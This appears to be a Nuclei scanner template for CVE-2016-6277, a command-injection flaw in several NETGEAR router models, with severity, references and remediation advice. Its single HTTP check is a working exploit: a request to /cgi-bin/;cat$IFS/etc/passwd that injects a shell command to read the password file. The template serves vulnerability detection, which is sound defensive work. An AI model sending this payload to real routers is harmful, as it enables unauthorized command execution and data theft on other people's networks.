CVE-2016-6277: NETGEAR Routers - Remote Code Execution

id: CVE-2016-6277

info:
  name: NETGEAR Routers - Remote Code Execution
  author: pikpikcu
  severity: high
  description: NETGEAR routers R6250 before 1.0.4.6.Beta, R6400 before 1.0.1.18.Beta, R6700 before 1.0.1.14.Beta, R6900, R7000 before 1.0.7.6.Beta, R7100LG before 1.0.0.28.Beta, R7300DST before 1.0.0.46.Beta, R7900 before 1.0.1.8.Beta, R8000 before 1.0.3.26.Beta, D6220, D6400, D7000, and possibly others allow remote attackers to execute arbitrary commands via shell metacharacters in the path info to cgi-bin/.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the affected router, potentially leading to unauthorized access, data theft, or network compromise.
  remediation: |
    Apply the latest firmware update provided by NETGEAR to mitigate this vulnerability.
  reference:
    - https://www.sj-vs.net/2016/12/10/temporary-fix-for-cert-vu582384-cwe-77-on-netgear-r7000-and-r6400-routers/
    - https://nvd.nist.gov/vuln/detail/CVE-2016-6277
    - http://www.sj-vs.net/a-temporary-fix-for-cert-vu582384-cwe-77-on-netgear-r7000-and-r6400-routers/
    - https://www.kb.cert.org/vuls/id/582384
    - http://kb.netgear.com/000036386/CVE-2016-582384
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2016-6277
    cwe-id: CWE-352
    epss-score: 0.94278
    epss-percentile: 0.99931
    cpe: cpe:2.3:o:netgear:d6220_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: netgear
    product: d6220_firmware
  tags: cve2016,cve,netgear,rce,iot,kev

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/;cat$IFS/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
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